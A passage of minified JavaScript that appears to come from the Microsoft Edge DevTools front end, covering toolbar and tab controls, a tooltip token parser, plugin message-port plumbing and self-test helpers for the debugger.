P(){Object(o.a)("Common",{TemplateControl:s.a});Object(o.a)("Common.Controls",{Button:r.a,CheckBoxMenuItem:R,ContentControl:i.a,DropDownButton:a,ItemsControl:p,MenuItem:g,SearchControl:f.a,SourceInfoControl:S,TextBox:T.a,TextBoxMenuItem:w,ToggleButton:k,ToolbarControl:x.a,ComboBox:O,ComboBoxMenuItem:D});Object(o.a)("Common.CommonConverters",{CreateShortenedUrlConverter:I.a.CreateShortenedUrlConverter,HtmlTooltipFromResourceConverter:I.a.HtmlTooltipFromResourceConverter,IntToStringConverter:I.a.IntToStringConverter,IntToStringWithGroupSeperatorConverter:I.a.IntToStringWithGroupSeperatorConverter,IntToBooleanConverter:I.a.IntToBooleanConverter,InvertBool:I.a.InvertBool,IsTabbableToTabIndexConverter:I.a.IsTabbableToTabIndexConverter,JsonHtmlTooltipToInnerTextConverter:I.a.JsonHtmlTooltipToInnerTextConverter,NotDisabledToTrue:I.a.NotDisabledToTrue,NullPermittedConverter:I.a.NullPermittedConverter,OnToTrue:I.a.OnToTrue,ResourceConverter:I.a.ResourceConverter,StringToBooleanConverter:I.a.StringToBooleanConverter,StringToIntConverter:I.a.StringToIntConverter,ThemedImageConverter:I.a.ThemedImageConverter})}},function(e,t,n){"use strict";n.d(t,"a",function(){return s});var o=n(143),r=n(19),i=n(8),a=n(4);class s extends o.a{constructor(e){super(e||"Common.toolbarTemplateWithSearchBox");this._activeIndex=-1;this._controls=[];this._controlsPropChangedRegistration=[];this._toolbarPanel=null}static initialize(){i.a.defineProperty(s,s.PanelTemplateIdPropertyName,"",(e,t,n)=>e.onPanelTemplateIdChanged(t,n));i.a.defineProperty(s,s.TitlePropertyName,"")}onInitializeOverride(){super.onInitializeOverride();this._focusInHandler=(e=>this.onFocusIn(e));this._toolbarKeyHandler=(e=>this.onToolbarKeyboardEvent(e))}getActiveElement(){return this._activeIndex>=0&&this._activeIndex<this._controls.length?this._controls[this._activeIndex].rootElement:null}moveToControl(e){var t=0===e?1:this._controls.length-1,n=document.activeElement;if(0!==this._controls.length&&-1!==this._activeIndex&&n){for(var o=this._activeIndex,r=0;r<this._controls.length;r++)if(this._controls[r].rootElement===n){o=r;break}for(var i=o;o!==(i=(i+t)%this._controls.length);){var a=this._controls[i];if(a.isVisible&&a.isEnabled){this.setActiveIndex(i,!0);break}}}}onFocusIn(e){for(var t=0;t<this._controls.length;t++){if(this._controls[t].rootElement.contains(e.target))break}t<this._controls.length&&this.setTabStop(t)}onPanelTemplateIdChanged(e,t){if(this._toolbarPanel){this._toolbarPanel.removeEventListener("focusin",this._focusInHandler);this._toolbarPanel.removeEventListener("keydown",this._toolbarKeyHandler);this._toolbarPanel=null}for(;this._controlsPropChangedRegistration.length>0;)this._controlsPropChangedRegistration.pop().unregister();if(t){this._controls=[];this.setActiveIndex(-1);this._toolbarPanel=this.getNamedElement(s.TOOLBAR_PANEL_ELEMENT_NAME);a.a.hasValue(this._toolbarPanel,"Expecting a toolbar panel with the name: "+s.TOOLBAR_PANEL_ELEMENT_NAME);this._toolbarPanel.addEventListener("focusin",this._focusInHandler);this._toolbarPanel.addEventListener("keydown",this._toolbarKeyHandler);for(var n=0;n<this._toolbarPanel.children.length;n++){var o=this._toolbarPanel.children[n];if(o.control){a.a.isTrue(o.control instanceof r.a,"We only support controls of type TemplateControl in the Toolbar");var i=o.control;this._controls.push(i);this._controlsPropChangedRegistration.push(i.propertyChanged.addHandler(this.onChildControlPropertyChanged.bind(this,i)))}}}this.setTabStop()}onToolbarKeyboardEvent(e){if(37===e.keyCode){this.moveToControl(1);e.stopPropagation()}else if(39===e.keyCode){this.moveToControl(0);e.stopPropagation()}}onChildControlPropertyChanged(e,t){if(t===r.a.IsEnabledPropertyName||t===r.a.IsVisiblePropertyName)if(-1===this._activeIndex)this.setTabStop();else{e===this._controls[this._activeIndex]&&(e.isEnabled&&e.isVisible||this.setTabStop(this._activeIndex))}}setTabStop(e){this.setActiveIndex(-1);if(!((e=e||0)<0||e>=this._controls.length)){var t=e,n=!1;do{var o=this._controls[t];if(!n&&o.isVisible&&o.isEnabled){this.setActiveIndex(t);n=!0}else o.tabIndex=-1}while(e!==(t=(t+1)%this._controls.length))}}setActiveIndex(e,t){this._activeIndex>=0&&this._activeIndex<this._controls.length&&(this._controls[this._activeIndex].tabIndex=-1);this._activeIndex=e;var n=this._controls[this._activeIndex];if(n){n.tabIndex=1;t&&n.rootElement.focus()}}}s.TOOLBAR_PANEL_ELEMENT_NAME="_toolbarPanel";s.PanelTemplateIdPropertyName="panelTemplateId";s.TitlePropertyName="title";s.initialize()},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{static getHtmlTokens(e){var t=[];if(!e)return t;var n=o.HTML_REGEX.exec(e);if(n){n[1]&&t.push({type:0,value:n[1].toString()});n[2]&&t.push({type:5,value:n[2].toString()});n[3]&&t.push({type:4,value:n[3].toString()});n[4]&&t.push({type:6,value:n[4].toString()});n[5]&&t.push({type:8,value:n[5].toString()});void 0!==n[6]&&t.push({type:7,value:n[6].toString()});n[7]&&t.push({type:6,value:n[7].toString()});n[8]&&t.push({type:8,value:n[8].toString()});void 0!==n[9]&&t.push({type:7,value:n[9].toString()});n[10]&&t.push({type:6,value:n[10].toString()});n[11]&&t.push({type:8,value:n[11].toString()});void 0!==n[12]&&t.push({type:7,value:n[12].toString()});n[13]&&t.push({type:5,value:n[13].toString()});n[14]&&t.push({type:0,value:n[14].toString()})}else t.push({type:0,value:e});return t}static getStringTokens(e){var t=[];if(!e)return t;var n=o.STRING_REGEX.exec(e);if(n){n[1]&&t.push({type:0,value:n[1].toString()});n[2]&&t.push({type:0,value:n[2].toString()});n[3]&&t.push({type:1,value:n[3].toString()});n[4]&&t.push({type:0,value:n[4].toString()})}else t.push({type:0,value:e});return t}static getNumberTokens(e){var t=[];if(!e)return t;var n=o.NUMBER_REGEX.exec(e);if(n){n[1]&&t.push({type:0,value:n[1].toString()});n[2]&&t.push({type:0,value:n[2].toString()});n[3]&&t.push({type:2,value:n[3].toString()});n[4]&&t.push({type:0,value:n[4].toString()})}else t.push({type:0,value:e});return t}static getCssClass(e){switch(e){case 1:return"valueStringToken-String";case 2:return"valueStringToken-Number";case 4:return"perftools-Html-Element-Tag";case 6:return"perftools-Html-Attribute";case 7:return"perftools-Html-Value";case 5:return"perftools-Html-Tag";case 8:return"perftools-Html-Operator";default:return""}}static isHtmlExpression(e){return o.GENERAL_HTML_REGEX.test(e)}static isStringExpression(e){return o.STRING_REGEX.test(e)}}o.GENERAL_HTML_REGEX=/^<.*>/;o.HTML_REGEX=/(^.*)?(<)([^\s]+)(?:( id)(=)(\".*?\"))?(?:( class)(=)(\".*?\"))?(?:( src)(=)(\".*?\"))?(>)(.*$)?/;o.NUMBER_REGEX=/(.*)?(=)( ?-?\d+(?:.\d+)?)(.*$)?/;o.STRING_REGEX=/(^.*?)(=)( ?\".*\")(.*$)?/},,function(e,t,n){"use strict";n.d(t,"b",function(){return o});n.d(t,"d",function(){return r});n.d(t,"c",function(){return i});n.d(t,"a",function(){return a});n.d(t,"e",function(){return s});function o(e,t,n,o,r){return{type:"METHOD_CALL",callId:e,callerId:t,destinationId:n,name:o,params:r}}function r(e,t,n){return{type:"METHOD_SUCCESS_RESULT",callId:e,callerId:t,result:n}}function i(e,t,n){let o=n;o&&o instanceof Error&&(o={message:o.message,name:o.name,stack:o.stack});return{type:"METHOD_ERROR_RESULT",callId:e,callerId:t,error:o}}function a(e,t){return{type:"EVENT_BROADCAST",name:e,args:t}}function s(){return"undefined"!=typeof window&&window.location?window.location.origin:""}},,function(e,t,n){"use strict";var o=n(5),r=n(0),i=n(68),a=n(14);let s;class l{get state(){return this._state}constructor(e){this.name=e;this.eventManager=new i.a;this.eventManager.setTarget(this);this._state=a.g.disconnected}removeEventListener(e,t,n){this.eventManager.removeEventListener(e,t)}addEventListener(e,t,n){this.eventManager.addEventListener(e,t)}dispatchEvent(e){return this.eventManager.dispatchEvent(e)}connect(){if(this._state!==a.g.disconnected)return!1;var e=this,t=x(this.name,function(){if(e._state===a.g.disconnected){e._state=a.g.connected;var t={port:e};e.eventManager.dispatchEvent("connect",t)}},function(){e._state===a.g.connected&&(e._state=a.g.disconnected)},function(t){if(e._state===a.g.connected){var n={data:t};e.eventManager.dispatchEvent("message",n)}});this._cookie=t;return!0}postMessage(e){this._state===a.g.connected&&O(this._cookie,e)}sendMessage(e){if(this._state===a.g.connected)return L(this._cookie,e)}close(){if(this._state!==a.g.closed){this._state=a.g.closed;I(this._cookie);var e={};this.eventManager.dispatchEvent("close",e)}}}class c{constructor(){this.supportedForProcessing=!1;this.NONE=0;this.CAPTURING_PHASE=1;this.AT_TARGET=2;this.BUBBLING_PHASE=3}get currentTarget(){return this.target}get defaultPrevented(){return this._preventDefaultCalled}get isTrusted(){return!1}stopPropagation(){}preventDefault(){this._preventDefaultCalled=!0}stopImmediatePropagation(){this._stopImmediatePropagationCalled=!0}initEvent(e,t,n){}deepPath(){throw new Error("not implemented")}}class u{constructor(e,t){this._manager=e;this._tokenId=t}unblockControlReadyEvent(){this._manager.unblockControlReadyEvent(this._tokenId)}}class d extends c{constructor(e){super();this._manager=e}delayControlReadyEvent(){var e=this._manager.delayControlReadyEvent();return new u(this._manager,e)}}class h{addEventListener(e,t,n){this._listeners=this._listeners||{};for(var o=this._listeners[e]=this._listeners[e]||[],r=0,i=o.length;r<i;r++){if(o[r].listener===t)return}o.push({listener:t})}removeEventListener(e,t,n){var o=this._listeners&&this._listeners[e];if(o)for(var r=0,i=o.length;r<i;r++){if(o[r].listener===t){o.splice(r,1);0===o.length&&delete this._listeners[e];break}}}dispatchEvent(e){return!1}dispatchEventInternal(e,t){var n=this._listeners&&this._listeners[e];if(n){for(var o=t,r=0,i=(n=n.slice(0,n.length)).length;r<i;r++)n[r].listener(this,o);return o.defaultPrevented||!1}return!1}}class p extends c{constructor(e,t,n,o){super();this.message=e;this.replyRequested=t;this._port=n;this._messageId=o}reply(e){this._port.reply(this._messageId,e)}reportError(e){this._port.reportError(this._messageId,e)}}class m extends h{constructor(e,t,n){super();this._manager=e;this._portName=t;this._portId=n;this._portState=1}get state(){return this._portState}get name(){return this._portName}get id(){return this._portId}connect(){1===this._portState&&this._manager.registerPort(this)}postMessage(e){0===this._portState&&this._manager.postPortMessage(this._portId,e)}close(){if(2!==this._portState){this._portState=2;this._manager.unregisterPort(this);this._manager=null;this.dispatchEventInternal("close",document.createEvent("Event"))}}processMessage(e,t,n){if(0===this._portState){var o=new p(t,n,this,e);this.dispatchEventInternal("message",o)}}processConnect(){if(2!==this._portState){this._portState=0;this.dispatchEventInternal("connected",document.createEvent("Event"))}}processDisconnect(){2!==this._portState&&(this._portState=1)}reply(e,t){2!==this._portState&&this._manager.postMessageReply(this._portId,e,t)}reportError(e,t){2!==this._portState&&this._manager.postMessageErrorReply(this._portId,e,t)}}class g extends h{constructor(e){super();this._lastMessageId=0;this._lastPortId=1;this._registeredPorts={};this._registeredPortNames={};this._pendingRemotePorts={};this._controlReadyWaitTaskList={length:0};this._lastDelayControlReadyTokenId=0;this._postMessageToPlugin=e}processMessage(e){var t,n=e.indexOf(g.MessageHeaderDelimiter),o=null;if(n<0)t=e;else{t=e.substring(0,n);o=e.substring(n+1)}var r=JSON.parse(t);if(r.portId>g.DefaultPort){if(!this._registeredPorts[r.portId])throw new Error("OnMessage: Unknown portId: "+r.portId);this._registeredPorts[r.portId].processMessage(r.msgId,o,r.replyRequested)}else switch(r.command){case 4:this._pendingRemotePorts={};this.disconnectPorts();this._controlReadyWaitTaskList={length:0};this.dispatchEventInternal("BeforeControlReady",new d(this));0===this._controlReadyWaitTaskList.length&&this.fireControlReady();break;case 1:if(!r.args||r.args.Length<=0)throw new Error("OnMessage: Invalid message header for command PortCreated.");var i=r.args[0];if("string"!=typeof i||i.length<=0)throw new Error("OnMessage: Invalid message header for command PortCreated.");if(this._registeredPortNames[i])this.connectPort(i);else{if(this._pendingRemotePorts[i])throw new Error("Received connect event for the same port more than once.");this._pendingRemotePorts[i]||(this._pendingRemotePorts[i]={})}break;case 2:if(!r.args||r.args.Length<=0)throw new Error("OnMessage: Invalid message header for command PortClosed.");var a=r.args[0];if("string"!=typeof a||a.length<=0)throw new Error("OnMessage: Invalid message header for command PortClosed.");if(this._registeredPortNames[a]){var s=this._registeredPortNames[a];this.disconnectPort(s._portId)}else{if(!this._pendingRemotePorts[a])throw new Error("Received close event before a create event.");delete this._pendingRemotePorts[a]}break;case 9:this.dispatchEventInternal("ControlShutdown",document.createEvent("Event"));break;default:throw new Error("OnMessage: Unexpected command: "+r.command)}}delayControlReadyEvent(){var e=this._lastDelayControlReadyTokenId++;this._controlReadyWaitTaskList[e]=!0;this._controlReadyWaitTaskList.length++;return e}unblockControlReadyEvent(e){if(this._controlReadyWaitTaskList[e]){this._controlReadyWaitTaskList[e]=null;this._controlReadyWaitTaskList.length--;0===this._controlReadyWaitTaskList.length&&this.fireControlReady()}}registerPort(e){if(this._registeredPorts[e.id])throw new Error("RegisterPort: Port already exists.");if(!this._registeredPortNames[e.name])throw new Error("RegisterPort: Port name is not listed.");this._registeredPorts[e.id]=e;this._registeredPortNames[e.name]=e;this._pendingRemotePorts[e.name]&&window.setImmediate(()=>{if(this._pendingRemotePorts[e.name]){delete this._pendingRemotePorts[e.name];this.connectPort(e.name)}})}unregisterPort(e){if(!this._registeredPorts[e.id])throw new Error("UnregisterPort: Port does not exist.");if(!this._registeredPortNames[e.name])throw new Error("UnregisterPort: Port name does not exist.");delete this._registeredPorts[e.id];delete this._registeredPortNames[e.name];this._pendingRemotePorts[e.name]={};this.postMessageInternal(g.DefaultPort,2,[e.id])}postPortMessage(e,t){this.postMessageInternal(e,0,null,t)}postMessageReply(e,t,n){this.postMessageInternal(e,0,null,n,t)}postMessageErrorReply(e,t,n){this.postMessageInternal(e,7,[{message:n.message,stack:n.stack}],null,t)}createPort(e){var t=this._lastPortId++,n=new m(this,e,t);this._registeredPortNames[e]={};return n}fireEvent(e,t){if("string"!=typeof e||e.length<=0)throw new Error("Invalid eventName");if(e.indexOf(g.MessageHeaderDelimiter)>0)throw new Error("eventName cannot contain "+g.MessageHeaderDelimiter);this.postMessageInternal(g.DefaultPort,6,[e,t])}initiateShutdown(){this.postMessageInternal(g.DefaultPort,8)}connectPort(e){if(!this._registeredPortNames[e])throw new Error("ConnectPort: Port does not exist.");var t=this._registeredPortNames[e];if(1!==t.state)throw new Error("ConnectPort: Port state is unexpected.");var n=[t.id,t.name];this.postMessageInternal(g.DefaultPort,3,n);t.processConnect()}disconnectPort(e){if(!this._registeredPorts[e])throw new Error("DisconnectPort: Port does not exist.");var t=this._registeredPorts[e];if(0!==t.state)throw new Error("DisconnectPort: Port state is unexpected.");t.processDisconnect()}disconnectPorts(){for(var e in this._registeredPorts){var t=this._registeredPorts[e];t&&t.portId&&t.processDisconnect()}}postMessageInternal(e,t,n,o,r){var i={msgId:++this._lastMessageId,portId:e};"number"==typeof r&&(i.replyId=r);i.command=t;n&&(i.args=n);var a=JSON.stringify(i);"string"==typeof o&&(a+=g.MessageHeaderDelimiter+o);this._postMessageToPlugin(a)}fireControlReady(){this.postMessageInternal(g.DefaultPort,5);this.dispatchEventInternal("ControlReady",document.createEvent("Event"))}}g.DefaultPort=0;g.MessageHeaderDelimiter="$";class f{constructor(){this._loadedScriptExtensions={};this._communicationManager=new g(this.postMessageToPlugin.bind(this));this._communicationManager.addEventListener("BeforeControlReady",e=>this.onBeforeControlReady(e));this.setControlReady()}hostDescription(){return"Microsoft Edge DevTools"}postMessage(e){window.setTimeout(()=>{this._communicationManager.processMessage(e)},0)}postMessageToPlugin(e){this.messageReceived&&this.messageReceived(e)}setControlReady(){this._communicationManager.unblockControlReadyEvent(this._delayToken)}setMessageCallback(e){this.messageReceived=e}onBeforeControlReady(e){this._delayToken=e.delayControlReadyEvent()}}function _(){s||(s=new f);return s}let v={},b={},C={},y=1;var E=0,S="$",T=0,w=[];function k(e){if("string"!=typeof e||e.length<=0)throw new Error(Object(r.a)("JSPlugin.1001"));if(b[e])throw new Error(Object(r.a)("JSPlugin.1002")+"\r\n"+e);return new l(e)}function x(e,t,n,o){if("string"!=typeof e||e.length<=0)throw new Error(Object(r.a)("JSPlugin.1001"));if(b[e])throw new Error(Object(r.a)("JSPlugin.1002")+"\r\n"+e);if("function"!=typeof t)throw new Error(Object(r.a)("JSPlugin.1003"));if("function"!=typeof n)throw new Error(Object(r.a)("JSPlugin.1004"));if("function"!=typeof o)throw new Error(Object(r.a)("JSPlugin.1005"));var i=++y;v[i]=b[e]={id:null,name:e,onConnect:t,onDisconnect:n,onMessage:o};D(E,1,[e]);return i}function I(e){var t=v[e];if(t){delete v[e];t.name&&delete b[t.name];t.id&&delete C[t.id];D(E,2,[t.name])}}function O(e,t){if(!v[e]||null===v[e].id)throw new Error(Object(r.a)("JSPlugin.1006"));D(v[e].id,0,null,t)}function L(e,t){if(!v[e]||null===v[e].id)throw new Error(Object(r.a)("JSPlugin.1006"));return R(v[e].id,0,null,t)}function D(e,t,n,o,r){T>=1/0&&(T=0);var i={msgId:++T,portId:e};t&&(i.command=t);n&&(i.args=n);r&&(i.replyRequested=!0);var a,s=JSON.stringify(i);o&&(s+=S+o);r&&(a=new Promise(function(e,t){w[i.msgId]={onComplete:e,onError:t}}));_().postMessage(s);return a}function R(e,t,n,o){return D(e,t,n,o,!0)}function P(e,t,n,o,i){if("string"!=typeof e)throw new Error(Object(r.a)("JSPlugin.1008"));if("function"!=typeof n)throw new Error(Object(r.a)("JSPlugin.1009"));var a=e,s=t||{},l=[],c=!1;s._forceConnect=function(){if(!c){u.connect();c=!0}};s._postMessage=function(e){l.push({message:e});s._forceConnect()};s._sendMessage=function(e){var t=new Promise(function(t,n){l.push({message:e,onComplete:t,onError:n})});s._forceConnect();return t};var u=k(a);u.addEventListener("connect",function e(t){u.removeEventListener("connect",e);u.addEventListener("message",function(e){var t=e.data;n(t)});"function"==typeof o&&u.addEventListener("close",o);s._postMessage=function(e){return u.postMessage(e)};s._sendMessage=function(e){return u.sendMessage(e)};l.forEach(function(e){e.onComplete?u.sendMessage(e.message).then(function(t){e.onComplete(t)},function(t){e.onError(t)}):u.postMessage(e.message)});l=null});i||s._forceConnect();return s}n.d(t,"d",function(){return M});n.d(t,"b",function(){return A});n.d(t,"a",function(){return B});n.d(t,"c",function(){return N});function M(e){const t=new Error(e.message+"\r\n"+e.stack);t.innerError=e.innerError;t.source=e.source;t.helpLink=e.helpLink;return t}function A(e,t){let n=0,o=0,r="";const i=""+e;for(;o<i.length;){const e=i.indexOf("%",o);if(-1===e||e===i.length-1){r+=i.substring(o);o=i.length}else{r+=i.substring(o,e);o=e+1;let a=t[n];switch(i[o]){case"d":case"i":void 0!==a&&(a="number"==typeof a?a>=0?Math.floor(a):Math.ceil(a):parseInt(a,10))!==~~a&&(a=0);r+=a;n++;o++;break;case"f":null===a?a=0:void 0!==a&&(a=parseFloat(a));r+=a;n++;o++;break;case"s":case"o":void 0!==a&&(a=""+a);r+=a;n++;o++;break;case"%":r+="%";o++;break;default:r+="%"}}}for(let e=n;e<t.length;e++)r+=t[e];return r}function B(e,t,n){const o=new i.a,r=P(e,t,function(e){if("string"!=typeof e)throw new Error("JSPlugin.2001");{const t=JSON.parse(e);if("string"!=typeof t.eventName)throw new Error("JSPlugin.2000");o.dispatchEvent(t.eventName,t.arg)}},function(t){throw new Error("JSPlugin.2002\r\n"+e)},n);o.setTarget(r);r._post=function(t,...n){const o={args:n.length?n:void 0,method:e};this._postMessage(JSON.stringify(o))};r._call=function(t){const n={args:arguments.length>1?Array.prototype.slice.call(arguments,1):void 0,method:e};return this._sendMessage(JSON.stringify(n)).then(e=>{return JSON.parse(e).result})};r.addEventListener=n?(e,t)=>{r._forceConnect();o.addEventListener(e,t);r.addEventListener=o.addEventListener.bind(o)}:o.addEventListener.bind(o);r.removeEventListener=o.removeEventListener.bind(o);return r}function N(e,t){return o.b.utilities.loadExtension(e,t)}},function(e,t,n){"use strict";n.d(t,"initializeServices",function(){return p});var o=n(39),r=n(194),i=n(193),a=n(192),s=n(191),l=n(190),c=n(189);n(184);const u={DmbpService:r.a,DomTreeService:a.a,HostKeyboardService:l.a},d={DmbpService:i.a,DomTreeService:s.a,HostKeyboardService:c.a};let h=!1;function p(){if(!h){Object(o.g)(u,d);h=!0}}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(15);class r{constructor(e=[]){this._list=e.slice(0);this.propertyChanged=new o.a;this.collectionChanged=new o.a}get length(){return this._list.length}getInternalArray(){return this._list}push(...e){var t=this._list.length,n=Array.prototype.push.apply(this._list,e);this.propertyChanged.invoke(r.LengthProperty);this.invokeCollectionChanged(0,e,t);return n}pop(){var e=this._list.pop();this.propertyChanged.invoke(r.LengthProperty);this.invokeCollectionChanged(1,null,null,[e],this._list.length);return e}splice(e,t,...n){var o=[e,t];n&&Array.prototype.push.apply(o,n);var i=Array.prototype.splice.apply(this._list,o),a=i.length>0,s=n&&n.length>0;if(a||s){this.propertyChanged.invoke(r.LengthProperty);a&&this.invokeCollectionChanged(1,null,null,i,e);s&&this.invokeCollectionChanged(0,n,e,null,null)}return i}indexOf(e,t){return this._list.indexOf(e,t)}lastIndexOf(e,t=-1){return this._list.lastIndexOf(e,t)}clear(){var e=this._list;this._list=[];this.propertyChanged.invoke(r.LengthProperty);this.invokeCollectionChanged(3,null,null,e,0)}filter(e,t){return this._list.filter(e,t)}map(e,t){return this._list.map(e,t)}getItem(e){return this._list[e]}resetItems(e){this._list=[];var t=Array.prototype.push.apply(this._list,e);this.propertyChanged.invoke(r.LengthProperty);this.invokeCollectionChanged(2);return t}invokeCollectionChanged(e,t,n,o,r){var i={action:e,newItems:t,newStartingIndex:n,oldItems:o,oldStartingIndex:r};this.collectionChanged.invoke(i)}}r.LengthProperty="length"},function(e,t,n){"use strict";n.d(t,"a",function(){return c});var o=n(97),r=n(15),i=n(8),a=n(19),s=n(0);class l extends a.a{constructor(e){super(e||"Common.tabHeaderTemplate");this._click=new r.a;this._onKeyDownHandler=this.onKeyDown.bind(this)}get click(){return this._click}static initialize(){i.a.defineProperty(l,l.ActivePropertyName,!1);i.a.defineProperty(l,l.TitlePropertyName,"")}onApplyTemplate(){super.onApplyTemplate();this.rootElement.onclick=this.onHeaderClicked.bind(this);this._onKeyDownHandler&&this.rootElement.addEventListener("keydown",this._onKeyDownHandler)}onTemplateChanging(){this.rootElement&&this._onKeyDownHandler&&this.rootElement.removeEventListener("keydown",this._onKeyDownHandler)}onHeaderClicked(){this.isEnabled&&this.click.invoke()}onKeyDown(e){13!==e.keyCode&&32!==e.keyCode||this.onHeaderClicked()}}l.ActivePropertyName="active";l.TitlePropertyName="title";l.initialize();class c extends o.a{constructor(e){super(e||"Common.tabItemTemplate");this.header=new l;this.header.click.addHandler(()=>this.onHeaderClicked());this.header.rootElement.setAttribute("role","tab");this._onResizeHandler=(()=>{this._tabPane&&this._tabPane.onTabResize()})}get tabPane(){return this._tabPane}set tabPane(e){this._tabPane=e;this.content=e.rootElement;this._onResizeHandler()}get ownerTabControl(){return this._ownerTabControl}set ownerTabControl(e){if(this._ownerTabControl!==e){if(this._ownerTabControl&&e)throw new Error(Object(s.a)("JSPerf.1022"));this._ownerTabControl=e}this._ownerTabControl?window.addEventListener("resize",this._onResizeHandler):window.removeEventListener("resize",this._onResizeHandler)}static initialize(){i.a.defineProperty(c,c.ActivePropertyName,!1,e=>e.onActiveChanged());i.a.defineProperty(c,c.TitlePropertyName,"",e=>e.onTitleChanged())}onContentChangedOverride(e){e&&this.rootElement.removeChild(e);this.rootElement.appendChild(this.content)}onTooltipChangedOverride(){super.onTooltipChangedOverride();this.header&&(this.header.tooltip=this.tooltip)}onIsEnabledChangedOverride(){super.onIsEnabledChangedOverride();this.header.isEnabled=this.isEnabled}onActiveChanged(){this.header.active=this.active}onHeaderClicked(){this.isEnabled&&this.ownerTabControl&&(this.ownerTabControl.selectedItem=this)}onKeyDown(e){13!==e.keyCode&&32!==e.keyCode||this.onHeaderClicked()}onTitleChanged(){this.header.title=this.title}}c.ActivePropertyName="active";c.TitlePropertyName="title";c.initialize()},function(e,t,n){"use strict";n.d(t,"a",function(){return d});n.d(t,"j",function(){return f});n.d(t,"h",function(){return _});n.d(t,"i",function(){return v});n.d(t,"b",function(){return b});n.d(t,"k",function(){return y});n.d(t,"g",function(){return T});n.d(t,"f",function(){return w});n.d(t,"e",function(){return k});n.d(t,"c",function(){return x});n.d(t,"d",function(){return I});n.d(t,"l",function(){return O});var o=n(13),r=n(10),i=n(42),a=n(6),s=n(103),l=n(4),c=n(17),u=n(180);const d="ms-browser-extension://F12testextension",h=4e3,p=3,m="__$";var g;function f(e,t){e.metadata=t}function _(...e){function t(t){return function(){var n=arguments;return Promise.resolve().then(()=>{var o=e[t],r=o.toString().replace(/^function.*\{ return |; \}$/g,"");s.a("Executing Step "+(t+1)+": "+r);return o.apply(null,n)})}}for(var n=Promise.resolve(null),o=0;o<e.length;o++)n=n.then(t(o));return n}function v(e){for(const t in e){const n=e[t];for(const e in n)if("_"!==e[0]){const o=t+"."+e;Object(r.g)().register(m+o,async(...t)=>n[e](...t))}}}function b(e,t,n=[]){var o=n?JSON.stringify(n).slice(1,-1):"";s.a("Calling "+t+"("+o+") on "+e);return Object(r.g)().call(e,m+t,n)}function C(e){try{return b("ms:debugger","Contract.executeOnTargetPage",["("+e.toString()+")();"])}catch(e){return Promise.resolve(null)}}function y(e){s.a("Setup testPlayground: "+e.replace(/ +/g," "));return C("function () { document.getElementById('testPlayground').innerHTML = \""+e+'";}')}function E(){return C(()=>{var e=document.getElementById("testPlayground");e.innerHTML="";e.removeAttribute("style")})}var S=!1;function T(e,t,n=(()=>c.a)){if(!S&&i.b()){S=!0;e&&e();D(t);var o=e=>n(e).then(()=>!0);Object(r.g)().register("afterTest",o)}g=i.a()}function w(){return _(()=>b("ms:debugger","Contract.removeAllBreakpoints"),()=>b("ms:debugger","Contract.resume"),()=>b("ms:debugger","Contract.removeAllWatches"),()=>b("ms:debugger","Contract.closeAllTabs"),()=>b("ms:debugger","Actions.setExceptionFilter",[0]),()=>b("ms:dom","ChangesPane.revertAll"),()=>g?Promise.resolve():E())}function k(e,t=!1,n=!1,o=!1,r=!1){var i={altKey:n,ctrlKey:t,keyCode:e,shiftKey:o};x("keydown",i,r);x("keyup",i,r);x("keypress",i,r)}function x(e,t,n=!1){var o=L(e);for(var r in t)o[r]=t[r];n||!document.activeElement?document.dispatchEvent(o):document.activeElement.dispatchEvent(o)}function I(e,t,n,o=!1){return Object(r.g)().call(e,"dispatchEventOnPlugin",[t,n,o])}function O(e){return u.a.waitForCondition(()=>document.activeElement===document.querySelector(e))}function L(e){var t=document.createEvent("Events");t.initEvent(e,!0,!0);return t}function D(e){var t=Object.keys(e).reduce((t,n)=>t.concat(M(n,e[n])),[]);Object(r.g)().register("runSelfTest",R(e));frameElement?Object(r.g)().call("ms:header","registerSelfTests",[t,Number(frameElement.id)]):Object(r.g)().call("ms:header","registerSelfTests",[t,o.y])}function R(e){return async t=>{try{if(frameElement&&frameElement.id!==t.pluginId.toString())return;var n=t.moduleName,o=t.testCaseName;l.a.hasValue(e[n],"Unknown module name: "+n);l.a.hasValue(e[n][o],"Unknown test name: "+o);await e[n][o]()}catch(e){throw P(e)}}}function P(e){return["name","message","description","stack"].map(t=>e[t]).filter(e=>e).filter((e,t,n)=>n.indexOf(e)===t).join("\r\n")||"Got empty error from test"}function M(e,t){return Object.keys(t).filter(e=>"metadata"!==e).map(n=>A(e,t,n))}function A(e,t,n){let r=B("priority",t[n],t);void 0===r&&(r=p);let s=B("timeout",t[n],t);void 0===s&&(s=h);const l=B("automationCommand",t[n],t),c=B("disabledWithBug",t[n],t),u=B("requiresTarget",t[n],t),d=B("requireFeatureKey",t[n],t),m=B("drtOnly",t[n],t),g=B("runInCrawler",t[n],t),f=i.a()&&!g,_=!!c||1===u&&o.w||0===u&&!o.w||!!m||f;let v=frameElement?a.c[Number(frameElement.id)]:o.z;return{disabled:_,metadata:{automationCommand:l,disabledWithBug:c,priority:r,requireFeatureKey:d,requiresTarget:u,timeout:s},moduleName:e,name:[v,e,n].join("."),pluginId:a.c[v],pluginName:v,testCaseName:n}}function B(e,t,n){return t.metadata&&void 0!==t.metadata[e]?t.metadata[e]:n.metadata&&void 0!==n.metadata[e]?n.metadata[e]:void 0}},,function(e,t,n){"use strict";n.d(t,"b",function(){return a});n.d(t,"d",function(){return s});n.d(t,"a",function(){return l});n.d(t,"c",function(){return d});n.d(t,"e",function(){return h});var o=n(6);const r=new Map;r.set(o.c.console,"ms:console");r.set(o.c.debugger,"ms:debugger");r.set(o.c.dom,"ms:dom");r.set(o.c.elements,"ms:elements");r.set(o.c.emulation,"ms:emulation");r.set(o.c.header,"ms:header");r.set(o.c.memoryAnalyzer,"ms:memory");r.set(o.c.network,"ms:network");r.set(o.c.onewpc,"ms:host");r.set(o.c.popup,"ms:popup");r.set(o.c.visualProfiler,"ms:performance");r.set(o.c.storage,"ms:storage");r.set(o.c.serviceworker,"ms:serviceworker");const i=new Map;i.set("ms:console",o.c.console);i.set("ms:debugger",o.c.debugger);i.set("ms:dom",o.c.dom);i.set("ms:elements",o.c.elements);i.set("ms:emulation",o.c.emulation);i.set("ms:header",o.c.header);i.set("ms:memory",o.c.memoryAnalyzer);i.set("ms:network",o.c.network);i.set("ms:host",o.c.onewpc);i.set("ms:popup",o.c.popup);i.set("ms:performance",o.c.visualProfiler);i.set("ms:storage",o.c.storage);i.set("ms:serviceworker",o.c.serviceworker);function a(e){return r.get(e)}function s(e){return i.get(e)}function l(){const 